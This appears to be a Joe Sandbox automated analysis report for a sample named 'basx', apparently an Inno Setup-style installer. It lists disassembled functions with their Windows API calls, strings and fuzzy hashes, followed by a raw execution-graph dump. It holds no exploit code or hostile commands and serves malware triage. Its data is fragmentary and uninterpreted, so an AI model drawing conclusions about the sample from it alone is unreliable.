                                                                                          • Instruction Fuzzy Hash: C032D775E00219DFCB14CF99CA80AADB7B2BF88314F24816AD855B7385DB34AE42CF55
                                                                                          APIs
                                                                                          • GetModuleHandleA.KERNEL32(kernel32.dll,GetUserDefaultUILanguage,00000000,00407129,?,00000000,00409918), ref: 0040704D
                                                                                          • GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00407053
                                                                                          • RegCloseKey.ADVAPI32(?,?,00000001,00000000,00000000,kernel32.dll,GetUserDefaultUILanguage,00000000,00407129,?,00000000,00409918), ref: 004070A1
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.3383514883.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.3383483279.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383544348.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383571483.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: AddressCloseHandleModuleProc
                                                                                          • String ID: .DEFAULT\Control Panel\International$Control Panel\Desktop\ResourceLocale$GetUserDefaultUILanguage$Locale$kernel32.dll
                                                                                          • API String ID: 4190037839-2401316094
                                                                                          • Opcode ID: 84283e8ecd5f01446eeee6c4ca3ac4597d6d061694d9d4138b3ca6e7d0b19e25
                                                                                          • Instruction ID: c068e7fb85b52830e378cef5638f1cf195f9e270113e5aa630163df598a56aa7
                                                                                          • Opcode Fuzzy Hash: 84283e8ecd5f01446eeee6c4ca3ac4597d6d061694d9d4138b3ca6e7d0b19e25
                                                                                          • Instruction Fuzzy Hash: 72214170E04209ABDB10EAB5CC55A9E77A9EB48304F60847BA510FB3C1D7BCAE01875E
                                                                                          APIs
                                                                                          • CreateFileA.KERNEL32(00000000,80000000,00000002,00000000,00000003,00000080,00000000), ref: 00403B1E
                                                                                          • GetFileSize.KERNEL32(?,00000000,00000000,80000000,00000002,00000000,00000003,00000080,00000000), ref: 00403B42
                                                                                          • SetFilePointer.KERNEL32(?,-00000080,00000000,00000000,?,00000000,00000000,80000000,00000002,00000000,00000003,00000080,00000000), ref: 00403B5E
                                                                                          • ReadFile.KERNEL32(?,?,00000080,?,00000000,00000000,?,-00000080,00000000,00000000,?,00000000,00000000,80000000,00000002,00000000), ref: 00403B7F
                                                                                          • SetFilePointer.KERNEL32(?,00000000,00000000,00000002), ref: 00403BA8
                                                                                          • SetEndOfFile.KERNEL32(?,?,00000000,00000000,00000002), ref: 00403BB2
                                                                                          • GetStdHandle.KERNEL32(000000F5), ref: 00403BD2
                                                                                          • GetFileType.KERNEL32(?,000000F5), ref: 00403BE9
                                                                                          • CloseHandle.KERNEL32(?,?,000000F5), ref: 00403C04
                                                                                          • GetLastError.KERNEL32(000000F5), ref: 00403C1E
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.3383514883.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.3383483279.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383544348.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383571483.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: File$HandlePointer$CloseCreateErrorLastReadSizeType
                                                                                          • String ID:
                                                                                          • API String ID: 1694776339-0
                                                                                          • Opcode ID: bd0a662ad2dd38144def4530256030cdb08cf53568247c3ffcddd32d1ed1ea18
                                                                                          • Instruction ID: 6684f6b4d1923fa93cc5777a7ebe0ca766b8c5f16b1f456132d2f0a6dbb27d3d
                                                                                          • Opcode Fuzzy Hash: bd0a662ad2dd38144def4530256030cdb08cf53568247c3ffcddd32d1ed1ea18
                                                                                          • Instruction Fuzzy Hash: 444194302042009EF7305F258805B237DEDEB4571AF208A3FA1D6BA6E1E77DAE419B5D
                                                                                          APIs
                                                                                          • GetSystemDefaultLCID.KERNEL32(00000000,0040560C,?,?,?,?,00000000,00000000,00000000,?,004065EB,00000000,004065FE), ref: 004053DE
                                                                                            • Part of subcall function 0040520C: GetLocaleInfoA.KERNEL32(?,00000044,?,00000100,0040C4BC,00000001,?,004052D7,?,00000000,004053B6), ref: 0040522A
                                                                                            • Part of subcall function 00405258: GetLocaleInfoA.KERNEL32(00000000,0000000F,?,00000002,0000002C,?,?,00000000,0040545A,?,?,?,00000000,0040560C), ref: 0040526B
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.3383514883.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.3383483279.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383544348.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383571483.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: InfoLocale$DefaultSystem
                                                                                          • String ID: AMPM$:mm$:mm:ss$m/d/yy$mmmm d, yyyy
                                                                                          • API String ID: 1044490935-665933166
                                                                                          • Opcode ID: 2becd82198b95216644133442ecc563e5ef80f5327bc31795fb041598c227e39
                                                                                          • Instruction ID: cc137df54ae1fcbb63b87987e69a719e9c27c4b31815d0debc5c9b1d2781c89a
                                                                                          • Opcode Fuzzy Hash: 2becd82198b95216644133442ecc563e5ef80f5327bc31795fb041598c227e39
                                                                                          • Instruction Fuzzy Hash: F8515374B00548ABDB00EBA59891A5F7769DB88304F50D5BBB515BB3C6CA3DCA058F1C
                                                                                          APIs
                                                                                          • RtlEnterCriticalSection.KERNEL32(0040C41C,00000000,00401AB4), ref: 00401A09
                                                                                          • LocalFree.KERNEL32(0061A360,00000000,00401AB4), ref: 00401A1B
                                                                                          • VirtualFree.KERNEL32(?,00000000,00008000,0061A360,00000000,00401AB4), ref: 00401A3A
                                                                                          • LocalFree.KERNEL32(0061B360,?,00000000,00008000,0061A360,00000000,00401AB4), ref: 00401A79
                                                                                          • RtlLeaveCriticalSection.KERNEL32(0040C41C,00401ABB), ref: 00401AA4
                                                                                          • RtlDeleteCriticalSection.KERNEL32(0040C41C,00401ABB), ref: 00401AAE
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.3383514883.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.3383483279.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383544348.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383571483.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: CriticalFreeSection$Local$DeleteEnterLeaveVirtual
                                                                                          • String ID:
                                                                                          • API String ID: 3782394904-0
                                                                                          • Opcode ID: 57d208b384dc2f586c03b96f4df297de7af50f17441c1957de60d2bf1c39d9ad
                                                                                          • Instruction ID: 5447b05044442752c1d56c7733342563ab4b4f61826a3093f511f794066d9233
                                                                                          • Opcode Fuzzy Hash: 57d208b384dc2f586c03b96f4df297de7af50f17441c1957de60d2bf1c39d9ad
                                                                                          • Instruction Fuzzy Hash: 91116330341280DAD711ABA59EE2F623668B785748F44437EF444B62F2C67C9840CA9D
                                                                                          APIs
                                                                                          • MessageBoxA.USER32(00000000,Runtime error at 00000000,Error,00000000), ref: 00403D9D
                                                                                          • ExitProcess.KERNEL32 ref: 00403DE5
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.3383514883.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.3383483279.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383544348.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383571483.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: ExitMessageProcess
                                                                                          • String ID: Error$Runtime error at 00000000$9@
                                                                                          • API String ID: 1220098344-1503883590
                                                                                          • Opcode ID: 0b7abc0913d0e9b6482778e2bb40dc1e8adb9ed549d30d0444a38b969016e341
                                                                                          • Instruction ID: db3008c0e6bc5d60e05df0545d3e9f81ce91e923819fa2a9fb93000da4b6b716
                                                                                          • Opcode Fuzzy Hash: 0b7abc0913d0e9b6482778e2bb40dc1e8adb9ed549d30d0444a38b969016e341
                                                                                          • Instruction Fuzzy Hash: B521F830A04341CAE714EFA59AD17153E98AB49349F04837BD500B73E3C77C8A45C76E
                                                                                          APIs
                                                                                          • MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,?,00000400), ref: 004036F2
                                                                                          • SysAllocStringLen.OLEAUT32(?,00000000), ref: 004036FD
                                                                                          • MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000,00000000,00000000), ref: 00403710
                                                                                          • SysAllocStringLen.OLEAUT32(00000000,00000000), ref: 0040371A
                                                                                          • MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 00403729
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.3383514883.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.3383483279.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383544348.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383571483.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: ByteCharMultiWide$AllocString
                                                                                          • String ID:
                                                                                          • API String ID: 262959230-0
                                                                                          • Opcode ID: 759139aa8138bb4f1b890a81a570935fc2f09484a8ccbcda4eb7e9d11bc9ffe5
                                                                                          • Instruction ID: 1285967c487f36a4f1f77a8b8e1f1fe351824cacfdb80e5859a13ebcd08b75b2
                                                                                          • Opcode Fuzzy Hash: 759139aa8138bb4f1b890a81a570935fc2f09484a8ccbcda4eb7e9d11bc9ffe5
                                                                                          • Instruction Fuzzy Hash: 17F068A13442543AF56075A75C43FAB198CCB45BAEF10457FF704FA2C2D8B89D0492BD
                                                                                          APIs
                                                                                          • GetModuleHandleA.KERNEL32(00000000,0040A60E), ref: 004030E3
                                                                                          • GetCommandLineA.KERNEL32(00000000,0040A60E), ref: 004030EE
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.3383514883.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.3383483279.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383544348.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383571483.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: CommandHandleLineModule
                                                                                          • String ID: 8&`$U1hd.@
                                                                                          • API String ID: 2123368496-4168494023
                                                                                          • Opcode ID: ab44cebb113f23cc453db0582047ce3f33ed2b100303cb8959b7892e21e32e4b
                                                                                          • Instruction ID: 0f926add87520dc699e98d27074396f9fab16295c11a520b4b5863bd90c7cb52
                                                                                          • Opcode Fuzzy Hash: ab44cebb113f23cc453db0582047ce3f33ed2b100303cb8959b7892e21e32e4b
                                                                                          • Instruction Fuzzy Hash: 03C01274541300CAD328AFF69E8A304B990A385349F40823FA608BA2F1CA7C4201EBDD
                                                                                          APIs
                                                                                          • RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,00000000,?,00000000,00406F48,?,00000000,00409918,00000000), ref: 00406E4C
                                                                                          • RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,00000000,70000000,?,?,00000000,00000000,00000000,?,00000000,00406F48,?,00000000), ref: 00406EBC
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.3383514883.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.3383483279.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383544348.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383571483.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: QueryValue
                                                                                          • String ID: )q@
                                                                                          • API String ID: 3660427363-2284170586
                                                                                          • Opcode ID: 32d2d681139902fa63b50b1e86c1c6042aee641263ad409bd5d16b68eaa8278f
                                                                                          • Instruction ID: 22a93fbabe645b78fd14ced98f65bd4bcb22fe3fd6f8222f7fa8e6a3c98f8dfc
                                                                                          • Opcode Fuzzy Hash: 32d2d681139902fa63b50b1e86c1c6042aee641263ad409bd5d16b68eaa8278f
                                                                                          • Instruction Fuzzy Hash: E6415E31D0021AAFDB21DF95C881BAFB7B8EB04704F56447AE901F7280D738AF108B99
                                                                                          APIs
                                                                                          • MessageBoxA.USER32(00000000,00000000,Setup,00000010), ref: 00409CBD
                                                                                          Strings
                                                                                          • Setup, xrefs: 00409CAD
                                                                                          • The Setup program accepts optional command line parameters./HELP, /?Shows this information./SP-Disables the This will install... Do you wish to continue? prompt at the beginning of Setup./SILENT, /VERYSILENTInstructs Setup to be silent or very si, xrefs: 00409CA1
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.3383514883.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.3383483279.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383544348.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383571483.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: Message
                                                                                          • String ID: Setup$The Setup program accepts optional command line parameters./HELP, /?Shows this information./SP-Disables the This will install... Do you wish to continue? prompt at the beginning of Setup./SILENT, /VERYSILENTInstructs Setup to be silent or very si
                                                                                          • API String ID: 2030045667-3271211647
                                                                                          • Opcode ID: bc66b1cf8cea732a030952d466b76090b354ad7a58696f118c0a4b0261ee3717
                                                                                          • Instruction ID: b8b600ed6bdfe48e96a015bdf4867c85bc36f5512d0f27a60c0f94c744360238
                                                                                          • Opcode Fuzzy Hash: bc66b1cf8cea732a030952d466b76090b354ad7a58696f118c0a4b0261ee3717
                                                                                          • Instruction Fuzzy Hash: 8EE0E5302482087EE311EA528C13F6A7BACE789B04F600477F900B15C3D6786E00A068
                                                                                          APIs
                                                                                          • Sleep.KERNEL32(?,?,?,?,0000000D,?,0040ABED,000000FA,00000032,0040AC54), ref: 004094F7
                                                                                          • Sleep.KERNEL32(?,?,?,?,0000000D,?,0040ABED,000000FA,00000032,0040AC54), ref: 00409507
                                                                                          • GetLastError.KERNEL32(?,?,?,0000000D,?,0040ABED,000000FA,00000032,0040AC54), ref: 0040951A
                                                                                          • GetLastError.KERNEL32(?,?,?,0000000D,?,0040ABED,000000FA,00000032,0040AC54), ref: 00409524
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.3383514883.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.3383483279.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383544348.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383571483.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: ErrorLastSleep
                                                                                          • String ID:
                                                                                          • API String ID: 1458359878-0
                                                                                          • Opcode ID: 97bb3b87fdda019371420e794be163fcf62410a15a23215566f33b90e6dc6563
                                                                                          • Instruction ID: cd4a420f7ace5638a97e0bdb8a1e9fccbb234b9240edd4770f97938e6011a3cc
                                                                                          • Opcode Fuzzy Hash: 97bb3b87fdda019371420e794be163fcf62410a15a23215566f33b90e6dc6563
                                                                                          • Instruction Fuzzy Hash: 16F0967360451477CA35A5AF9D81A5F634DDAD1354B10813BE945F3283C538DD0142A9

                                                                                          Execution Graph

                                                                                          Execution Coverage:16%
                                                                                          Dynamic/Decrypted Code Coverage:0%
                                                                                          Signature Coverage:4.6%
                                                                                          Total number of Nodes:2000
                                                                                          Total number of Limit Nodes:88
                                                                                          execution_graph 49968 40cd00 49969 40cd12 49968->49969 49970 40cd0d 49968->49970 49972 406f48 CloseHandle 49970->49972 49972->49969 49973 492848 49974 49287c 49973->49974 49975 49287e 49974->49975 49976 492892 49974->49976 50119 446f9c 18 API calls 49975->50119 49979 4928ce 49976->49979 49980 4928a1 49976->49980 49978 492887 Sleep 50039 4928c9 49978->50039 49985 49290a 49979->49985 49986 4928dd 49979->49986 50109 446ff8 49980->50109 49984 4928b0 49987 4928b8 FindWindowA 49984->49987 49991 492919 49985->49991 49992 492960 49985->49992 49988 446ff8 18 API calls 49986->49988 50113 447278 49987->50113 49990 4928ea 49988->49990 49994 4928f2 FindWindowA 49990->49994 50120 446f9c 18 API calls 49991->50120 49998 4929bc 49992->49998 49999 49296f 49992->49999 49996 447278 5 API calls 49994->49996 49995 492925 50121 446f9c 18 API calls 49995->50121 50052 492905 49996->50052 50006 492a18 49998->50006 50007 4929cb 49998->50007 50124 446f9c 18 API calls 49999->50124 50001 492932 50122 446f9c 18 API calls 50001->50122 50002 49297b 50125 446f9c 18 API calls 50002->50125 50005 49293f 50123 446f9c 18 API calls 50005->50123 50017 492a52 50006->50017 50018 492a27 50006->50018 50129 446f9c 18 API calls 50007->50129 50008 492988 50126 446f9c 18 API calls 50008->50126 50012 49294a SendMessageA 50016 447278 5 API calls 50012->50016 50013 4929d7 50130 446f9c 18 API calls 50013->50130 50015 492995 50127 446f9c 18 API calls 50015->50127 50016->50052 50026 492a61 50017->50026 50027 492aa0 50017->50027 50021 446ff8 18 API calls 50018->50021 50019 4929e4 50131 446f9c 18 API calls 50019->50131 50024 492a34 50021->50024 50023 4929a0 PostMessageA 50128 4470d0 LocalAlloc TlsSetValue TlsGetValue TlsGetValue VariantClear 50023->50128 50031 492a3c RegisterClipboardFormatA 50024->50031 50025 4929f1 50132 446f9c 18 API calls 50025->50132 50134 446f9c 18 API calls 50026->50134 50035 492aaf 50027->50035 50041 492af4 50027->50041 50032 447278 5 API calls 50031->50032 50032->50039 50033 4929fc SendNotifyMessageA 50133 4470d0 LocalAlloc TlsSetValue TlsGetValue TlsGetValue VariantClear 50033->50133 50034 492a6d 50135 446f9c 18 API calls 50034->50135 50137 446f9c 18 API calls 50035->50137 50159 403420 50039->50159 50040 492a7a 50136 446f9c 18 API calls 50040->50136 50046 492b48 50041->50046 50047 492b03 50041->50047 50042 492abb 50138 446f9c 18 API calls 50042->50138 50045 492a85 SendMessageA 50049 447278 5 API calls 50045->50049 50056 492baa 50046->50056 50057 492b57 50046->50057 50141 446f9c 18 API calls 50047->50141 50048 492ac8 50139 446f9c 18 API calls 50048->50139 50049->50052 50052->50039 50053 492b0f 50142 446f9c 18 API calls 50053->50142 50055 492ad3 PostMessageA 50140 4470d0 LocalAlloc TlsSetValue TlsGetValue TlsGetValue VariantClear 50055->50140 50064 492bb9 50056->50064 50065 492c31 50056->50065 50060 446ff8 18 API calls 50057->50060 50058 492b1c 50143 446f9c 18 API calls 50058->50143 50062 492b64 50060->50062 50145 42e394 SetErrorMode 50062->50145 50063 492b27 SendNotifyMessageA 50144 4470d0 LocalAlloc TlsSetValue TlsGetValue TlsGetValue VariantClear 50063->50144 50068 446ff8 18 API calls 50064->50068 50073 492c40 50065->50073 50074 492c66 50065->50074 50070 492bc8 50068->50070 50069 492b71 50071 492b87 GetLastError 50069->50071 50072 492b77 50069->50072 50148 446f9c 18 API calls 50070->50148 50075 447278 5 API calls 50071->50075 50076 447278 5 API calls 50072->50076 50153 446f9c 18 API calls 50073->50153 50083 492c98 50074->50083 50084 492c75 50074->50084 50077 492b85 50075->50077 50076->50077 50080 447278 5 API calls 50077->50080 50079 492c4a FreeLibrary 50154 4470d0 LocalAlloc TlsSetValue TlsGetValue TlsGetValue VariantClear 50079->50154 50080->50039 50092 492ca7 50083->50092 50098 492cdb 50083->50098 50088 446ff8 18 API calls 50084->50088 50085 492bdb GetProcAddress 50086 492c21 50085->50086 50087 492be7 50085->50087 50152 4470d0 LocalAlloc TlsSetValue TlsGetValue TlsGetValue VariantClear 50086->50152 50149 446f9c 18 API calls 50087->50149 50090 492c81 50088->50090 50096 492c89 CreateMutexA 50090->50096 50155 48ccc8 18 API calls 50092->50155 50093 492bf3 50150 446f9c 18 API calls 50093->50150 50096->50039 50097 492c00 50101 447278 5 API calls 50097->50101 50098->50039 50157 48ccc8 18 API calls 50098->50157 50100 492cb3 50102 492cc4 OemToCharBuffA 50100->50102 50103 492c11 50101->50103 50156 48cce0 LocalAlloc TlsSetValue TlsGetValue TlsGetValue VariantClear 50102->50156 50151 4470d0 LocalAlloc TlsSetValue TlsGetValue TlsGetValue VariantClear 50103->50151 50106 492cf6 50107 492d07 CharToOemBuffA 50106->50107 50158 48cce0 LocalAlloc TlsSetValue TlsGetValue TlsGetValue VariantClear 50107->50158 50110 447000 50109->50110 50163 436078 50110->50163 50112 44701f 50112->49984 50114 447280 50113->50114 50217 4363e0 VariantClear 50114->50217 50116 4472a3 50117 4472ba 50116->50117 50218 408c0c LocalAlloc TlsSetValue TlsGetValue TlsGetValue 50116->50218 50117->50039 50119->49978 50120->49995 50121->50001 50122->50005 50123->50012 50124->50002 50125->50008 50126->50015 50127->50023 50128->50052 50129->50013 50130->50019 50131->50025 50132->50033 50133->50039 50134->50034 50135->50040 50136->50045 50137->50042 50138->50048 50139->50055 50140->50052 50141->50053 50142->50058 50143->50063 50144->50039 50219 403738 50145->50219 50148->50085 50149->50093 50150->50097 50151->50052 50152->50052 50153->50079 50154->50039 50155->50100 50156->50039 50157->50106 50158->50039 50161 403426 50159->50161 50160 40344b 50161->50160 50162 402660 4 API calls 50161->50162 50162->50161 50164 436084 50163->50164 50174 4360a6 50163->50174 50164->50174 50183 408c0c LocalAlloc TlsSetValue TlsGetValue TlsGetValue 50164->50183 50165 436129 50192 408c0c LocalAlloc TlsSetValue TlsGetValue TlsGetValue 50165->50192 50167 436111 50187 403494 50167->50187 50168 436105 50168->50112 50169 4360f9 50178 403510 4 API calls 50169->50178 50170 4360ed 50184 403510 50170->50184 50171 43611d 50191 4040e8 18 API calls 50171->50191 50174->50165 50174->50167 50174->50168 50174->50169 50174->50170 50174->50171 50177 43613a 50177->50112 50182 436102 50178->50182 50180 436126 50180->50112 50182->50112 50183->50174 50193 4034e0 50184->50193 50188 403498 50187->50188 50189 4034ba 50188->50189 50190 402660 4 API calls 50188->50190 50189->50112 50190->50189 50191->50180 50192->50177 50198 4034bc 50193->50198 50195 4034f0 50203 403400 50195->50203 50199 4034c0 50198->50199 50200 4034dc 50198->50200 50207 402648 50199->50207 50200->50195 50204 403406 50203->50204 50205 40341f 50203->50205 50204->50205 50212 402660 50204->50212 50205->50112 50208 40264c 50207->50208 50210 402656 50207->50210 50208->50210 50211 4033bc LocalAlloc TlsSetValue TlsGetValue TlsGetValue 50208->50211 50210->50195 50211->50210 50213 402664 50212->50213 50214 40266e 50212->50214 50213->50214 50216 4033bc LocalAlloc TlsSetValue TlsGetValue TlsGetValue 50213->50216 50214->50205 50214->50214 50216->50214 50217->50116 50218->50117 50220 40373c LoadLibraryA 50219->50220 50220->50069 54086 498ba8 54144 403344 54086->54144 54088 498bb6 54147 4056a0 54088->54147 54090 498bbb 54150 40631c GetModuleHandleA GetProcAddress 54090->54150 54094 498bc5 54158 40994c 54094->54158 54425 4032fc 54144->54425 54146 403349 GetModuleHandleA GetCommandLineA 54146->54088 54148 4056db 54147->54148 54426 4033bc LocalAlloc TlsSetValue TlsGetValue TlsGetValue 54147->54426 54148->54090 54151 406338 54150->54151 54152 40633f GetProcAddress 54150->54152 54151->54152 54153 406355 GetProcAddress 54152->54153 54154 40634e 54152->54154 54155 406364 SetProcessDEPPolicy 54153->54155 54156 406368 54153->54156 54154->54153 54155->54156 54157 4063c4 6F541CD0 54156->54157 54157->54094 54427 409024 54158->54427 54425->54146 54426->54148 54428 408cbc 5 API calls 54427->54428 54429 409035 54428->54429 54430 4085dc GetSystemDefaultLCID 54429->54430 54433 408612 54430->54433 54431 406dec LocalAlloc TlsSetValue TlsGetValue TlsGetValue LoadStringA 54431->54433 54432 408568 LocalAlloc TlsSetValue TlsGetValue TlsGetValue GetLocaleInfoA 54432->54433 54433->54431 54433->54432 54434 403450 LocalAlloc TlsSetValue TlsGetValue TlsGetValue 54433->54434 54438 408674 54433->54438 54434->54433 54435 406dec LocalAlloc TlsSetValue TlsGetValue TlsGetValue LoadStringA 54435->54438 54436 408568 LocalAlloc TlsSetValue TlsGetValue TlsGetValue GetLocaleInfoA 54436->54438 54437 403450 LocalAlloc TlsSetValue TlsGetValue TlsGetValue 54437->54438 54438->54435 54438->54436 54438->54437 54439 4086f7 54438->54439 54440 403420 4 API calls 54439->54440 54441 408711 54440->54441 54442 408720 GetSystemDefaultLCID 54441->54442 54499 408568 GetLocaleInfoA 54442->54499 54445 403450 4 API calls 54446 408760 54445->54446 54447 408568 5 API calls 54446->54447 54448 408775 54447->54448 54449 408568 5 API calls 54448->54449 54450 408799 54449->54450 54505 4085b4 GetLocaleInfoA 54450->54505 54453 4085b4 GetLocaleInfoA 54454 4087c9 54453->54454 54455 408568 5 API calls 54454->54455 54456 4087e3 54455->54456 54457 4085b4 GetLocaleInfoA 54456->54457 54500 4085a1 54499->54500 54501 40858f 54499->54501 54503 403494 4 API calls 54500->54503 54502 4034e0 4 API calls 54501->54502 54504 40859f 54502->54504 54503->54504 54504->54445 54506 4085d0 54505->54506 54506->54453 55864 42f520 55865 42f52b 55864->55865 55866 42f52f NtdllDefWindowProc_A 55864->55866 55866->55865 50221 416b42 50222 416bea 50221->50222 50223 416b5a 50221->50223 50240 41531c LocalAlloc TlsSetValue TlsGetValue TlsGetValue 50222->50240 50225 416b74 SendMessageA 50223->50225 50226 416b68 50223->50226 50236 416bc8 50225->50236 50227 416b72 CallWindowProcA 50226->50227 50228 416b8e 50226->50228 50227->50236 50237 41a058 GetSysColor 50228->50237 50231 416b99 SetTextColor 50232 416bae 50231->50232 50238 41a058 GetSysColor 50232->50238 50234 416bb3 SetBkColor 50239 41a6e0 GetSysColor CreateBrushIndirect 50234->50239 50237->50231 50238->50234 50239->50236 50240->50236 55867 4358e0 55868 4358f5 55867->55868 55872 43590f 55868->55872 55873 4352c8 55868->55873 55882 435312 55873->55882 55883 4352f8 55873->55883 55874 403400 4 API calls 55875 435717 55874->55875 55875->55872 55886 435728 LocalAlloc TlsSetValue TlsGetValue TlsGetValue 55875->55886 55876 446da4 LocalAlloc TlsSetValue TlsGetValue TlsGetValue 55876->55883 55877 403744 LocalAlloc TlsSetValue TlsGetValue TlsGetValue 55877->55883 55878 403450 LocalAlloc TlsSetValue TlsGetValue TlsGetValue 55878->55883 55879 402648 4 API calls 55879->55883 55881 431ca0 4 API calls 55881->55883 55882->55874 55883->55876 55883->55877 55883->55878 55883->55879 55883->55881 55883->55882 55884 4038a4 LocalAlloc TlsSetValue TlsGetValue TlsGetValue 55883->55884 55887 4343b0 55883->55887 55899 434b74 LocalAlloc TlsSetValue TlsGetValue TlsGetValue 55883->55899 55884->55883 55886->55872 55888 43446d 55887->55888 55889 4343dd 55887->55889 55918 434310 LocalAlloc TlsSetValue TlsGetValue TlsGetValue 55888->55918 55890 403494 4 API calls 55889->55890 55892 4343eb 55890->55892 55894 403778 4 API calls 55892->55894 55893 43445f 55895 403400 4 API calls 55893->55895 55897 43440c 55894->55897 55896 4344bd 55895->55896 55896->55883 55897->55893 55900 494944 55897->55900 55899->55883 55901 49497c 55900->55901 55902 494a14 55900->55902 